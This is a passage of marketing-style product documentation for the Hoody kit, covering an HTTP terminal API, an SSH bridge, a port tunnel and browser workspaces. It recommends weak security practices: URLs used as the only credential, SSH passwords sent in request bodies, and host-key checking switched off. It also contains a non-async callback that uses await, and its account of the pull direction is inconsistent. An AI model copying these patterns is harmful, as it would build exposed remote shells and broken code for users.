    # Check what ports are listening
    curl "https://$PROJECT-$CONTAINER-terminal-1.$SERVER.containers.hoody.icu/api/v1/system/ports"

    # View X11 displays
    curl "https://$PROJECT-$CONTAINER-terminal-1.$SERVER.containers.hoody.icu/api/v1/system/displays"
    ```
  


**All system information accessible via HTTP endpoints.** No need to SSH in and run commands—just query the API.

### 9. Remote SSH Execution

**Execute commands on OTHER servers through hoody-terminal:**



**The container becomes an HTTP-to-SSH bridge.** Your phone can now execute commands on your production servers via HTTP.

---

## Why This Changes Everything

### Traditional Terminals

```
SSH Client (installed) → SSH Server (configured) → Shell (finally)
```

**Problems:**
- SSH client required (not available on phones, tablets, watches)
- Key management (private keys, known_hosts, permissions)
- Port forwarding complexity
- Not embeddable (can't iframe SSH)
- Not multiplayer (one session per connection)
- AI can't use (binary protocol)

### Hoody Terminals

```
Any HTTP Client → hoody-terminal URL → Shell (immediately)
```

**Advantages:**
- ✅ Any device with browser works (phones, tablets, watches, TVs)
- ✅ Zero key management (URL is the credential)
- ✅ Naturally embeddable (`<iframe src="terminal-url" />`)
- ✅ Multiplayer by default (share URL = instant collaboration)
- ✅ AI-native (LLMs understand HTTP requests)
- ✅ Observable (all HTTP requests logged)
- ✅ MITM-able via hoody-exec (enhance any command automatically)

### HTTP Unlocks New Possibilities

**Because terminals are HTTP:**

1. **Embed in Documentation**
   ```html
   <iframe src="https://demo-terminal.hoody.icu/?cmd=bHMgLWxh&readonly=true" />
   ```
   Live terminals in your docs showing actual command execution.

2. **Phone Executes Production Commands**
   ```javascript
   // From mobile browser
   await fetch(terminalUrl + '/execute', {
     method: 'POST',
     body: JSON.stringify({
       command: 'pm2 restart api',
       wait: true
     })
   });
   ```

3. **AI Orchestrates Infrastructure**
   ```javascript
   // AI agent deploys automatically
   const steps = [
     'git pull origin main',
     'npm install --production',
     'npm run build',
     'pm2 restart app'
   ];
   
   for (const cmd of steps) {
     await fetch(terminalUrl + '/execute?terminal_id=deploy', {
       method: 'POST',
       body: JSON.stringify({ command: cmd, wait: true })
     });
   }
   ```

4. **Cascading Execution**
   ```javascript
   // Terminal A executes command that triggers Terminal B
   await fetch(containerA_terminal + '/execute', {
     method: 'POST',
     body: JSON.stringify({
       command: `curl -X POST ${containerB_terminal}/execute -d '{"command":"npm test"}'`,
       wait: true
     })
   });
   ```

---

## Common Workflows

### Quick Command Execution

**One-off commands with immediate results:**



### Long-Running Tasks

**Start task asynchronously, check later:**

```javascript
// Use terminal-3 for build tasks
const buildTerminalUrl = 'https://PROJECT_ID-CONTAINER_ID-terminal-3.SERVER_NAME.containers.hoody.icu';

const response = await fetch(buildTerminalUrl + '/api/v1/terminal/execute', {
  method: 'POST',
  body: JSON.stringify({
    command: 'npm run build',
    wait: false,
    timeout: 300
  })
});

const { command_id } = await response.json();

// Poll for result
const checkStatus = async () => {
  const result = await fetch(buildTerminalUrl + `/api/v1/terminal/result/${command_id}`)
    .then(r => r.json());
  
  if (result.status === 'completed') {
    console.log(`Build finished in ${result.duration_ms}ms`);
    console.log(result.stdout);
  } else {
    setTimeout(checkStatus, 2000);
  }
};

checkStatus();
```

**Check progress visually:** Open the web terminal URL in your browser to watch the build running in real-time—same terminal-3 URL shows live output.

**Mix workflows:** Start command via API (from phone, script, CI/CD), then monitor progress visually in the web terminal from any browser.

### Deployment Pipeline

**Multi-step workflows—commands execute in sequence in the same session:**

```javascript
const deployCommands = [
  'cd /app',
  'git pull origin main',
  'npm ci',
  'npm run build',
  'pm2 restart api',
  'pm2 logs api --lines 50'
];

// Use terminal-2 for deployments
const deployUrl = 'https://PROJECT_ID-CONTAINER_ID-terminal-2.SERVER_NAME.containers.hoody.icu';

for (const command of deployCommands) {
  const response = await fetch(deployUrl + '/api/v1/terminal/execute', {
    method: 'POST',
    body: JSON.stringify({ command, wait: true })
  });
  
  const result = await response.json();
  
  if (result.exit_code !== 0) {
    console.error(`Failed at: ${command}`);
    console.error(result.stderr);
    break;
  }
  
  console.log(`✓ ${command}`);
}

// All commands executed in terminal-2's session
// Working directory persisted across commands (cd /app stayed active)
```

### System Health Checks

**Monitor container resources:**

```javascript
async function checkHealth(terminalUrl) {
  const response = await fetch(terminalUrl + '/api/v1/system/resources');
  const { cpu, memory, disk } = await response.json();
  
  const alerts = [];
  
  if (cpu.usage_percent > 80) {
    alerts.push(`⚠️ CPU at ${cpu.usage_percent}%`);
  }
  
  if (memory.usage_percent > 85) {
    alerts.push(`⚠️ Memory at ${memory.usage_percent}%`);
  }
  
  if (disk.usage_percent > 90) {
    alerts.push(`⚠️ Disk at ${disk.usage_percent}%`);
  }
  
  return alerts;
}

// Run every 5 minutes
setInterval(() => {
  const alerts = await checkHealth(terminalUrl);
  if (alerts.length > 0) {
    console.log('Health alerts:', alerts);
  }
}, 300000);
```

---

## Use Cases

### Development Teams

**Collaborative debugging:** Team member encounters a bug. Instead of screen sharing:
1. Share terminal URL: `https://{project}-{container}-terminal-2.{server}.containers.hoody.icu`
2. Senior dev opens URL on phone while in meeting
3. Types fix directly in shared session
4. Bug resolved in 30 seconds

**No screen share setup. No "can you see this?". Just instant collaboration.**

### AI-First Development

**AI agents execute while you orchestrate:**

```javascript
// AI agent executes commands via the terminal HTTP API
const TERMINAL_URL = 'https://PROJECT_ID-CONTAINER_ID-terminal-1.SERVER_NAME.containers.hoody.icu';

const commands = [
  'npm create vite@latest my-app -- --template react-ts',
  'cd my-app && npm install',
  'npm run dev'
];

for (const command of commands) {
  const result = await fetch(`${TERMINAL_URL}/api/v1/terminal/execute`, {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ command, wait: true })
  });
  console.log(await result.json());
}

// You described what you want built. AI executed it via HTTP.
```

### DevOps Automation

**No SSH setup needed for automation:**

```python
# Deploy from GitHub Actions, GitLab CI, any CI/CD
import requests

terminal_url = os.environ['HOODY_TERMINAL_URL']

response = requests.post(
    f'{terminal_url}/api/v1/terminal/execute',
    json={
        'command': './deploy.sh production',
        'terminal_id': 'ci',
        'wait': False,
        'timeout': 600
    }
)

command_id = response.json()['command_id']
# Monitor deployment status via command_id
```

### Customer Support

**Solve issues together in real-time:**

Support agent and customer both open:
```
https://{customer-container}-terminal-1.{server}.containers.hoody.icu
```

Both see the same terminal. Both can type. Agent fixes issue while customer watches. No more "type this command" followed by typing errors.

### Mobile Administration

**Admin your servers from anywhere:**

Your phone's browser → Terminal URL → Execute:
- `systemctl restart nginx`
- `tail -f /var/log/app.log`
- `docker ps`
- `htop`

**Full Linux shell on your phone.** Because it's just a URL.

### Documentation with Live Examples

**Embed working terminals in docs:**

```html
<!-- Your documentation -->
<p>To check system status, run:</p>

<iframe 
  src="https://demo-terminal.hoody.icu/?cmd=c3lzdGVtY3RsIHN0YXR1cyBuZ2lueA==&readonly=true"
  height="400"
/>
```

Readers see ACTUAL execution, not just code blocks. Interactive learning.

---

## Best Practices

### Use Same Terminal URL for Related Tasks

Group related commands using the same terminal URL to maintain session context:

```javascript
// ✅ Good - Same terminal URL maintains state
const deployUrl = 'https://PROJECT_ID-CONTAINER_ID-terminal-2.SERVER_NAME.containers.hoody.icu';

await fetch(deployUrl + '/execute', {
  method: 'POST',
  body: JSON.stringify({ command: 'cd /app', wait: true })
});

await fetch(deployUrl + '/execute', {
  method: 'POST',
  body: JSON.stringify({ command: 'npm install', wait: true })
});
// Runs in /app (working directory preserved)

// ❌ Bad - Different terminal URLs = different sessions
await fetch('...terminal-1.hoody.icu/execute', {
  body: JSON.stringify({ command: 'cd /app' })
});

await fetch('...terminal-2.hoody.icu/execute', {
  body: JSON.stringify({ command: 'npm install' })
});
// Runs in ~ (terminal-2 has its own separate session)
```

**Remember:** terminal-1, terminal-2, terminal-3 are all in the SAME container. They all see the same files, same services, same system. They just have independent shell sessions (separate working directories, separate command history).

### Async for Long-Running Commands

Always use `wait: false` for commands that might take >3 seconds:

```javascript
// ✅ Async for builds
await fetch('.../execute', {
  body: JSON.stringify({
    command: 'npm run build',
    wait: false,
    timeout: 300
  })
});

// ❌ Sync would block for minutes
```

### Set Timeouts Appropriately

Prevent runaway processes with sensible timeouts:

```javascript
{
  command: 'npm install',
  timeout: 300,  // 5 minutes max
  wait: false
}
```

### Check Exit Codes

Don't assume success—verify exit codes:

```javascript
const result = await execute({ command: 'npm test', wait: true });

if (result.exit_code !== 0) {
  console.error('Tests failed:', result.stderr);
  // Handle failure
} else {
  console.log('Tests passed!');
}
```

### Clean Up Sessions

Delete sessions when done to prevent resource leaks:

```bash
# List active sessions
GET /api/v1/terminal/sessions

# Delete old sessions
DELETE /api/v1/terminal/{terminal_id}
```

### Use Web UI for Interactive Work

For debugging or exploration, open the web URL directly:
```
https://{project}-{container}-terminal-1.{server}.containers.hoody.icu
```

Better than API for: typing multiple commands, seeing colored output, scrolling history.

### Monitor System Resources

Query resource endpoints before intensive operations:

```javascript
const { cpu, memory, disk } = await fetch('.../system/resources')
  .then(r => r.json());

if (cpu.usage_percent > 90) {
  console.warn('CPU at capacity - delay operation');
}
```

---

## Useful Questions

### Can I execute commands that require sudo?

Yes, if the terminal is running as root or the user has sudo permissions. Configure the user when creating the container or use `user` parameter when starting the terminal session. For security, consider using separate containers for privileged vs unprivileged operations.

### How do I execute commands on remote servers via SSH?

Include SSH parameters in the execute request: `ssh_host`, `ssh_user`, `ssh_password` (or `ssh_key`). The hoody-terminal service establishes the SSH connection and executes the command, returning results via HTTP. Your container becomes an HTTP-to-SSH gateway.

### Can AI agents really use terminals effectively?

Absolutely. LLMs understand HTTP natively and can construct command execution requests without special training. They can handle multi-step workflows, check exit codes, parse output, and adapt based on results—all via standard HTTP calls. No SDK needed.

### What happens to running commands if I close my browser?

Commands continue executing on the server. Terminal sessions are server-side, not browser-side. Close your laptop, command keeps running. Check status later via the `/result/{command_id}` endpoint.

### Can I embed terminals in my application?

Yes! Use iframes to embed terminal URLs directly in your app. Common pattern: documentation with live command execution, dashboards showing server logs, customer portals with diagnostic terminals.

### How many terminal sessions can one container have?

Theoretically unlimited. Practically: hundreds of concurrent sessions work fine. Each session consumes minimal RAM (~10MB). Use different `terminal_id` values for isolated sessions or same `terminal_id` for shared/multiplayer sessions.

### Does the web terminal work on mobile devices?

Yes! Native browser support on iOS and Android. The UI adapts to touch input, includes an on-screen keyboard option, and supports mobile gestures. Full Linux terminal from your phone's browser.

### Can I capture screenshots of terminal sessions?

Yes, via `GET /api/v1/terminal/screenshot?terminal_id=1&format=png`. Returns visual snapshot as PNG/JPEG/GIF. Useful for documentation, tutorials, or monitoring dashboards showing live terminal state.

### How do I get the complete command history for a session?

Use `GET /api/v1/terminal/history/{terminal_id}` to retrieve all commands executed, their exit codes, and execution times. Perfect for auditing, debugging, or understanding what changed in a session.

---

## Troubleshooting

### Commands Return 404 or Connection Error

**Check container is running:**
```bash
curl "https://api.hoody.icu/api/v1/containers/{container_id}?runtime=true" \
  -H "Authorization: Bearer $HOODY_TOKEN"
```

Verify `status: "running"` and `runtime_info.terminals` shows active sessions.

**Start container if stopped:**
```bash
curl -X POST "https://api.hoody.icu/api/v1/containers/{container_id}/start" \
  -H "Authorization: Bearer $HOODY_TOKEN"
```

### Web Terminal Won't Load

**Possible causes:**

1. **Container not running** - Start it via Hoody API
2. **Wrong URL** - Verify terminal-1 (not terminal1 or terminal)
3. **Proxy permissions** - Check if terminal access is restricted
4. **Browser blocking iframe** - Some browsers block cross-origin iframes

**Quick test:**
```bash
# Direct browser access (not iframe)
https://{project}-{container}-terminal-1.{server}.containers.hoody.icu
```

### Command Hangs or Times Out

**For long-running commands, use async mode:**

```javascript
// ✅ Correct - Async for npm install
{
  command: 'npm install',
  wait: false,
  timeout: 300
}

// ❌ Wrong - Sync will timeout
{
  command: 'npm install',
  wait: true  // Blocks for minutes!
}
```

**Increase timeout if needed:**
```javascript
{ timeout: 600 }  // 10 minutes for large builds
```

### Exit Code Always 0 But Command Failed

**Check stderr, not just exit_code:**

```javascript
const result = await execute({ command: 'npm test', wait: true });

// Some commands exit 0 but write errors to stderr
if (result.stderr.includes('ERROR') || result.stderr.includes('FAIL')) {
  console.error('Command had errors:', result.stderr);
}
```

### Session State Not Persisting

**Ensure using same terminal_id:**

```javascript
// ✅ Correct - Same session
terminal_id: "prod-session"  // State persists

// ❌ Wrong - Different sessions
terminal_id: Math.random()  // New session each time
```

**Sessions are deleted on:**
- Explicit DELETE request
- Container restart
- Terminal service restart

### Can't Access Remote SSH Host

**Check SSH parameters:**

```javascript
{
  command: 'ls',
  ssh_host: 'prod.example.com',
  ssh_port: 22,  // Default if omitted
  ssh_user: 'admin',
  ssh_password: 'your-password'  // Or ssh_key
}
```

**Verify SSH connectivity:**
```bash
# Test from container first
ssh admin@prod.example.com
```

**Common issues:**
- Firewall blocking SSH port
- Wrong credentials
- Host or network unreachable from the container (host key verification is not an issue — the kit connects with `StrictHostKeyChecking=no`, so unknown hosts are accepted automatically)

---

## What's Next

**Explore other interactive services:**


  
    Full desktop environments accessible via URL—run VS Code, browsers, any GUI application.
    
    [Explore Displays →](./displays/)
  
  
  
    Chrome automation as REST API—control browsers via HTTP, scrape websites, run tests.
    
    [Explore Browser →](./browser/)
  
  
  
    Transform any script into an HTTP endpoint—your code becomes an API automatically.
    
    [Explore Exec →](./exec/)
  


**Master terminal workflows:**
- **[Sessions →](/api/terminal/sessions/)** - Manage persistent terminal sessions
- **[Commands →](/api/terminal/commands/)** - Sync/async execution patterns
- **[Monitoring →](/api/terminal/monitoring/)** - System introspection APIs

---

> **Your shell is a URL.**  
> **Execute from anywhere.**  
> **Collaborate in real-time.**  
> **AI-native by design.**

**This is how terminals work in the HTTP era.**

---

# Tunnel

**Page:** kit/tunnel

[Download Raw Markdown](./kit/tunnel.md)

---

# Tunnel

**Your laptop is already a server. You just haven't plugged it in yet.**

hoody-tunnel pushes a local HTTP service out through your container's public domain — or pulls a container-side TCP service down onto your laptop's loopback. Both directions. One multiplexed WebSocket. Zero certificate dance, zero DNS edits, zero signup flow.

## Why This Matters

Exposing `localhost:3000` to the internet has always been a side quest. Install ngrok. Sign up for an account. Configure a tunnel. Bump into the rate limit. Pay for a custom domain. Then, when you need the reverse — pulling your container's Postgres down to a local GUI — that's a completely different tool.

We rebuilt both directions as one thing.

```typescript


// Your laptop is now live on the internet
const app = await tunnel.expose({ url, token, containerPort: 3000, to: { host: '127.0.0.1', port: 3000 } });

// Your container's Postgres is now on 127.0.0.1:5432 inside the container
const db = await tunnel.pull({ url, token, containerPort: 5432, to: { host: '127.0.0.1', port: 5432 } });
```

**One session carries both.** TLS, ACME, and custom domains are already handled by Hoody Proxy upstream — the tunnel never touches a certificate. Your laptop never opens a port to the outside world. The WebSocket does all the work.

---

## Two Modes, One Session

### EXPOSE — Local to Public

Push a local HTTP or WebSocket server out through your container to the public internet:

```
[Your laptop :3000] → WebSocket → [Container :3000] → Hoody Proxy → [Public internet]
```

Visitors hit `https://myapp-3000.hoody.icu` and land on your laptop's port 3000. HTTP/1.1 requests and WebSocket upgrades flow transparently. Your laptop can be behind NAT, a corporate firewall, or a hotel Wi-Fi captive portal — it's the client, not the server.

### PULL — Remote to Local

Pull a TCP service from your laptop into the container's loopback:

```
[Your laptop :5432] ← WebSocket ← [Container 127.0.0.1:5432]
```

Container-side code connects to `127.0.0.1:5432` and hits your laptop's Postgres. Raw TCP — the tunnel doesn't inspect or parse anything. Databases, Redis, gRPC, SSH — whatever speaks TCP works.


A single tunnel session holds **multiple EXPOSE and PULL bindings at the same time**. Expose your frontend on port 3000 and your API on port 5000 while pulling your database on port 5432 — all over one WebSocket. One session. Many bindings. No extra cost.


---

## Quick Start

### 1. Expose a Local HTTP Server


  
    ```typescript
    import { tunnel } from '@hoody-ai/hoody-tunnel-sdk';

    await using app = await tunnel.expose({
      url: 'wss://PROJECT-CONTAINER-tunnel-1.SERVER.containers.hoody.icu/api/v1/tunnel/connect',
      token: process.env.HOODY_TUNNEL_TOKEN!,
      containerPort: 3000,
      to: { host: '127.0.0.1', port: 3000 },
    });

    console.log(app.publicUrl); // https://myapp-3000.hoody.icu
    // Visitors now reach your laptop's port 3000 via this URL
    ```
  
  
    ```bash
    # The tunnel data plane is a WebSocket with a binary framing protocol —
    # use the SDK above. The REST endpoints are for inspection (see below).

    # List active bindings to confirm the expose landed
    curl "https://PROJECT-CONTAINER-tunnel-1.SERVER.containers.hoody.icu/api/v1/tunnel/bindings"
    ```
  


### 2. Pull a Remote Service to Localhost


  
    ```typescript
    import { tunnel } from '@hoody-ai/hoody-tunnel-sdk';

    await using db = await tunnel.pull({
      url: 'wss://PROJECT-CONTAINER-tunnel-1.SERVER.containers.hoody.icu/api/v1/tunnel/connect',
      token: process.env.HOODY_TUNNEL_TOKEN!,
      containerPort: 5432,
      to: { host: '127.0.0.1', port: 5432 }, // your local Postgres
    });

    // Container-side code can now: psql -h 127.0.0.1 -p 5432
    ```
  
  
    ```bash
    # Inspect active pull bindings from the container
    curl "https://PROJECT-CONTAINER-tunnel-1.SERVER.containers.hoody.icu/api/v1/tunnel/bindings"
    ```
  


### 3. Run an Inline HTTP Handler

Skip starting a local server entirely — pass a `fetch` handler and the SDK wraps it:

```typescript


await using server = await tunnel.serve({
  url: 'wss://PROJECT-CONTAINER-tunnel-1.SERVER.containers.hoody.icu/api/v1/tunnel/connect',
  token: process.env.HOODY_TUNNEL_TOKEN!,
  containerPort: 3000,
  fetch(req) {
    return new Response('Hello from my laptop!');
  },
});

console.log(server.url); // public URL serving your handler
```

Internally, `tunnel.serve()` boots a `Bun.serve` on a random local port and exposes it — the kit never runs user code. You write a standard `Request`/`Response` handler. The internet gets a URL.


`tunnel.serve()` requires the **Bun** runtime (it uses `Bun.serve` internally). On Node, use `tunnel.expose()` with your own `http.createServer()` — it's the same flow, one extra line.


---

## Multiple Bindings in One Session

A single session can hold many bindings simultaneously. Drop down to the low-level `TunnelSession` API when you want full control:

```typescript


const session = new TunnelSession({ url, token });
await session.connect();

// Expose two HTTP services
const web = await session.bind({ kind: 'http', mode: 'expose', containerPort: 3000 });
const api = await session.bind({ kind: 'http', mode: 'expose', containerPort: 5000 });

// Pull a database
const pg = await session.bind({ kind: 'tcp', mode: 'pull', containerPort: 5432 });

console.log(web.publicUrl);  // https://myapp-3000.hoody.icu
console.log(api.publicUrl);  // https://myapp-5000.hoody.icu
// Container code reaches your Postgres at 127.0.0.1:5432

// ... run until done ...
await session.close();
```

### Random Port Assignment

Pass `containerPort: 0` (or omit it on the low-level `bind`) and the kit picks a free port for you — in **both** directions:

- **PULL** — the kit grabs a kernel-ephemeral loopback port.
- **EXPOSE** — the kit picks a random available port in the **20000-65534** range.

```typescript
await using db = await tunnel.pull({
  url, token,
  containerPort: 0, // kit assigns a kernel-ephemeral loopback port
  to: { host: '127.0.0.1', port: 5432 },
});

console.log(db.bind.containerPort); // e.g. 43217
// Container code reaches your Postgres at 127.0.0.1:43217
```

Either way the chosen port comes back in the `BIND_OK` response (`bind.containerPort`), and for EXPOSE the resulting `publicUrl` reflects that port.


**Pick your own EXPOSE port for stable URLs.** Random assignment is handy for one-off PULL bindings, but if you want a predictable public hostname (`myapp-<port>.hoody.icu`) across restarts, pass an explicit `containerPort` in the **20000-65534** range instead of `0`.


---

## Multi-WebSocket (v2 Protocol)

For high-throughput workloads, opt into `hoody-tunnel.v2` and the SDK spreads streams across multiple parallel WebSockets:

```typescript
const session = new TunnelSession({
  url, token,
  maxConnections: 4, // negotiate v2; open up to 4 parallel WebSockets
});
await session.connect();

console.log(session.hello?.connectionsGranted); // kit may clamp lower
```

Frames are pinned to the WebSocket that delivered each `STREAM_OPEN`, preserving per-stream ordering while letting unrelated streams parallelize across connections. v1 sessions keep working unchanged when `maxConnections` is omitted.

---

## Session Resilience

### Takeover Grace

If your WebSocket drops (laptop sleeps, network blip, train tunnel) listeners stay up for 60 seconds by default. EXPOSE listeners return `503 Service Unavailable` with `Retry-After: 5` to visitors during the gap. Reconnect within the grace period and everything resumes exactly where it left off.

### Session Resume

Reconnect with the same session ID and the kit atomically rehydrates all bindings under the new WebSocket:

```typescript
const session = new TunnelSession({ url, token });
await session.connect();

// Later, after a disconnect...
const resumed = new TunnelSession({
  url, token,
  resumeSessionId: session.id,
});
await resumed.connect();
// All bindings restored — no visitor downtime
```

### Bind Takeover

A new session can steal an EXPOSE binding from another session (or from an orphaned grace-period session) by setting `takeover: true`:

```typescript
const binding = await session.bind({
  kind: 'http', mode: 'expose',
  containerPort: 3000,
  takeover: true, // atomically claim port 3000 from any prior holder
});
```

The old session's streams on that binding receive `RESET(BIND_TAKEOVER)` and the new owner starts serving immediately.

---

## Inspection & Control

Six HTTP endpoints let you observe and manage the tunnel from anywhere: the container, another container, your laptop, an AI agent with a `fetch` call, or the Hoody dashboard. Same endpoints, same auth model — because everything in Hoody is HTTP.


  
    ```bash
    # Liveness + version
    hoody tunnel health

    # Prometheus-format metrics
    hoody tunnel metrics

    # Unified view: sessions + bindings + stream counts + FD budget
    hoody tunnel list

    # Just the sessions
    hoody tunnel sessions list

    # Just the bindings (EXPOSE + PULL)
    hoody tunnel bindings list

    # Kill a session (grace_ms: 0-5000, default 50)
    hoody tunnel sessions kill sess_abc123 --grace-ms 100
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });
    const containerClient = await client.withContainer({
      id: CONTAINER_ID,
      project_id: PROJECT_ID,
      server: SERVER,
    });

    // Liveness + version
    const health = await containerClient.tunnel.health.check();

    // Prometheus-format metrics
    const metrics = await containerClient.tunnel.getMetrics();

    // Unified view: sessions + bindings + stream counts + FD budget
    const tunnels = await containerClient.tunnel.listTunnels();

    // Just the sessions
    const sessions = await containerClient.tunnel.listSessions();

    // Just the bindings (EXPOSE + PULL)
    const bindings = await containerClient.tunnel.listBindings();

    // Kill a session — session_id is positional, grace_ms is an option
    await containerClient.tunnel.killSession('sess_abc123', {
      grace_ms: 100,
    });
    ```
  
  
    ```bash
    BASE="https://PROJECT-CONTAINER-tunnel-1.SERVER.containers.hoody.icu/api/v1/tunnel"

    # Liveness + version
    curl "$BASE/health"

    # Prometheus-format metrics
    curl "$BASE/metrics"

    # Unified view: sessions + bindings + stream counts + FD budget
    curl "$BASE/tunnels"

    # Just the sessions
    curl "$BASE/sessions"

    # Just the bindings (EXPOSE + PULL)
    curl "$BASE/bindings"

    # Kill a session (grace_ms: 0-5000, default 50)
    curl -X DELETE "$BASE/sessions/sess_abc123?grace_ms=100"
    ```
  


A `GET /tunnels` response looks like this:

```json
{
  "sessions": [{
    "sessionId": "a1b2c3",
    "peerAddr": "203.0.113.42:51234",
    "protocol": "v1",
    "connectionsGranted": 1,
    "activeStreams": 3,
    "exposeBindings": [{ "bindId": 1, "containerPort": 3000 }],
    "pullBindings": [{ "bindId": 2, "containerPort": 5432 }]
  }],
  "orphanedSessions": 0,
  "totalStreams": 3,
  "totalBindings": 2,
  "fdPermitsAvailable": 4094
}
```


`killSession` is non-resumable. The kit sends a `GOAWAY` frame directly on the WebSocket, drains for up to `grace_ms` milliseconds (0–5000, default 50), then force-closes. Orphan parking is skipped — the client cannot reconnect with `resume`.


For the full request/response schema of every endpoint, jump to the API reference:



---

## Architecture

```
                [Visitor browser / curl / agent]
                             │  https://myapp-3000.hoody.icu
                             ▼
                ┌───────────────────────────┐
                │     Hoody Proxy (nginx)   │  TLS termination, SNI routing
                └─────────────┬─────────────┘
                              │ HTTP/1.1 or WS upgrade
                              ▼
    ┌────────────────────────────────────────────────────┐
    │  Container                                          │
    │   ┌─────────────────────────────────────────┐      │
    │   │  hoody-tunnel  (Rust / axum)            │      │
    │   │                                         │      │
    │   │  Base listener :50 (control plane)      │      │
    │   │   └── /api/v1/tunnel/connect  (WS)     │      │
    │   │                                         │      │
    │   │  EXPOSE listeners (dynamic)             │      │
    │   │   :3000 → tunneled to laptop            │      │
    │   │   :5000 → tunneled to laptop            │      │
    │   │                                         │      │
    │   │  PULL listeners (dynamic, loopback)     │      │
    │   │   127.0.0.1:5432 → tunneled to laptop   │      │
    │   └────────────────┬────────────────────────┘      │
    └────────────────────┼───────────────────────────────┘
                         │ multiplexed WebSocket
                         ▼
                ┌────────────────────────────┐
                │  Tunnel SDK (your laptop)  │
                │  Bun 1.3+ / Node 20+       │
                └────────────────┬───────────┘
                                 ▼
                [Local services: :3000, :5000, :5432]
```

The tunnel is a stateless multiplexer. Flow control runs per-stream and per-session so a slow visitor never blocks the others. Certificates live upstream in Hoody Proxy — hoody-tunnel forwards bytes.

---

## Limits

| Limit | Value |
|-------|-------|
| Max sessions | 8 (default; `--max-sessions`) |
| Max bindings per session | 8 (default; `--max-bindings-per-session`) |
| Max concurrent streams per session | 1024 (default; `--max-streams-per-session`) |
| Max frame payload | 65,536 bytes |
| Per-stream flow control window | 1 MiB (default; `--stream-initial-window`) |
| Per-session flow control window | 16 MiB (default; `--session-initial-window`) |
| Hello timeout | 5 seconds (default; `--hello-timeout`) |
| Ping interval | 30 seconds of receive inactivity |
| Pong timeout | 60 seconds (default; `--pong-timeout`) |
| Takeover grace period | 60 seconds (default; `--takeover-grace`) |
| Idle timeout | 300 seconds (default; `--idle-timeout`) |
| `killSession` drain budget | 0–5000 ms (default 50) |

---

## Use Cases

- **Local development** — Share your dev server with teammates or test webhooks without deploying anywhere
- **Database access** — Pull your container's production Postgres to a local GUI (DBeaver, pgAdmin, TablePlus)
- **AI agent tooling** — Let an AI agent running in your container call services running on your laptop
- **Demo & review** — Show a client your work-in-progress without pushing to staging
- **Hybrid workflows** — Run heavy GPU workloads locally, expose them through your container's public domain
- **Webhook development** — Receive GitHub, Stripe, or GitLab webhooks on your laptop during development

---

## What's Next


  
  
  
  


---

> **Your laptop just became a server.**
> **Expose local services. Pull remote databases. One WebSocket. Zero configuration.**
> **ngrok is a product. Tunneling is a feature.**

---

# Workspaces

**Page:** kit/workspaces

[Download Raw Markdown](./kit/workspaces.md)

---

# Workspaces

**You don't install an operating system anymore. You open a URL.**

Traditional desktops are trapped on a single machine. Remote desktops require VPN tunnels, VNC viewers, specialized clients. Hoody Workspaces is none of that. It's a full operating system running in a browser tab — drag-and-drop layouts, multi-container views, every Kit service embedded as a panel. Open it from any device, anywhere.

---

## Access Your Workspace

Workspaces runs at a single URL:


  
    ```
    https://app.hoody.icu
    ```
    Log in with your Hoody account. All your projects, containers, and services appear instantly.
  
  
    ```
    https://PROJECT_ID-CONTAINER_ID-workspaces-1.SERVER.containers.hoody.icu
    ```
    Each container has its own workspace instance — accessible directly via its service URL, like every other Kit service.
  



Workspaces is the visual layer on top of Hoody's HTTP services. Every panel is an iframe embedding a Kit service URL. The workspace remembers your layout, panel sizes, and which services are open.


---

## What You Can Do

- **Unified Dashboard** — See all containers, projects, and servers in one place
- **Drag-and-Drop Layouts** — Arrange terminal, display, files, and code panels however you want
- **Multi-Container Views** — Embed services from different containers side-by-side in one workspace
- **Shareable URLs** — Share your entire workspace layout with a URL
- **Any Device** — Desktop, tablet, phone — if it has a browser, it runs Workspaces
- **Service Quick-Launch** — Open any Kit service (terminal, display, files, SQLite, code) with one click
- **Project Switching** — Jump between projects and containers instantly

---

## The Workspace Model

Every panel in a workspace is just a URL. Terminal? URL. Display? URL. File manager? URL. Code editor? URL. The workspace arranges them:

```
┌─────────────────────────────────────────────┐
│ Workspace: "My Dev Environment"             │
├──────────────────┬──────────────────────────┤
│ Terminal-1       │ Display-1                │
│ (shell access)   │ (GUI desktop)            │
├──────────────────┼──────────────────────────┤
│ Files            │ Code-1                   │
│ (file manager)   │ (VS Code)               │
└──────────────────┴──────────────────────────┘
```

Each panel maps to a Kit service URL:

```
Terminal:  https://PROJECT-CONTAINER-terminal-1.SERVER.containers.hoody.icu
Display:   https://PROJECT-CONTAINER-display-1.SERVER.containers.hoody.icu
Files:     https://PROJECT-CONTAINER-files-1.SERVER.containers.hoody.icu
Code:      https://PROJECT-CONTAINER-code-1.SERVER.containers.hoody.icu
```

The workspace saves the layout. Close the tab, reopen it — everything is exactly where you left it.

---

## Key Concepts

### Panels

Each panel embeds a Kit service URL. Add panels for:
- **Terminals** — any instance: terminal-1, terminal-2, etc.
- **Displays** — remote desktop for any display instance
- **Files** — file manager
- **SQLite** — database UI
- **Code** — VS Code editor
- **Browser** — browser automation view
- **Any custom URL** — embed anything with a URL

### Layouts

Arrange panels in rows, columns, and grids. Resize by dragging borders. Save layouts to switch between different working modes — a development layout, a monitoring layout, a presentation layout.

### Multi-Container

A single workspace can embed services from **different containers**. Monitor multiple environments, compare outputs, or manage a distributed system from one screen. Each panel points to a different container's service URL — the workspace doesn't care which container it's talking to.

---

## Common Patterns

### Development Workspace

Terminal + Code + Display for full-stack development with live GUI preview. Write code in one panel, run it in another, see the output in a third.

### Monitoring Dashboard

Multiple terminals showing logs from different containers, plus a browser panel for status pages. One screen, full visibility across your infrastructure.

### Presentation Mode

Share a workspace URL with a client to give them a live view of your infrastructure — without giving direct access. They see what you see. Nothing more.

---

## What's Next


  
  
  
  


---

> **Your desktop is a URL now.**
> **Open it from any device. Arrange it however you want. Share it with anyone.**
> **No VNC. No RDP. No VPN. Just a browser tab.**

---

# The 100x Foundation

**Page:** vision/100x-foundation

[Download Raw Markdown](./vision/100x-foundation.md)

---

# The 100x Foundation

**In five years, one person will manage what a 50-person team manages today.** Not through harder work, but through a fundamentally different computing model that lets AI agents execute while humans orchestrate.

